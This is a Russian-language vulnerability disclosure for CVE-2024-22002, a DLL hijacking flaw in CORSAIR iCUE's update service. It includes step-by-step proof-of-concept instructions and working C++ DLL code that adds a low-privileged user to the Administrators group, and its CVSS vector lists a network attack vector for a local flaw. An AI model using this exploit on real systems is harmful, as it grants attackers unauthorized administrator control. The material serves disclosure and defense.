iCUE_DllHijack_LPE-CVE-2024-22002

Уязвимое программное обеспечение и версия

• Ссылка для скачивания ПО: CORSAIR iCUE v5.9.105 with iCUE Murals

Описание

Уязвимость типа DLL Hijacking была обнаружена в iCUE v5.9.105. Эта уязвимость возникает в процессе обновления, управляемом службой "iCUEUpdateService". Служба запускает процесс ("cuepkg.exe"), ответственный за проведение обновления, работающий с привилегиями "NT AUTHORITY\SYSTEM". При запуске процесса он ищет различные DLL-библиотеки в каталоге \cuepkg-1.2.6, расположенном в каталоге установки iCUE. Некоторые из этих DLL-библиотек по умолчанию отсутствуют, но поскольку обычный пользователь имеет права на создание файлов в этом каталоге, злоумышленник может внедрить вредоносную DLL в этот каталог. Следовательно, эта вредоносная DLL будет загружена cuepkg.exe с правами администратора.

Затронутые DLL-библиотеки, которые были выявлены, следующие:

• MSASN1.dll
• NTASN1.dll
• profapi.dll

Вектор CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• Базовый балл: 7.8 (Высокий)
• Временной балл: 7.8 (Высокий)
• Экологический балл: 7.8 (Высокий)

PoC

В качестве примера будет взята DLL profapi.dll.

1. Создаем нашу вредоносную DLL и добавляем ее в каталог %INSTALLDIR%cuepkg-1.2.6.
2. Ждем автоматического обновления программы или, в данном случае, принудительно запускаем обновление, нажав "Проверить наличие обновлений".
3. Наш пользователь без прав администратора добавляется в группу администраторов.

Привилегии пользователя lowpriv до выполнения вредоносной DLL:

Привилегии пользователя lowpriv после выполнения вредоносной DLL:

• Пример вредоносного кода:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}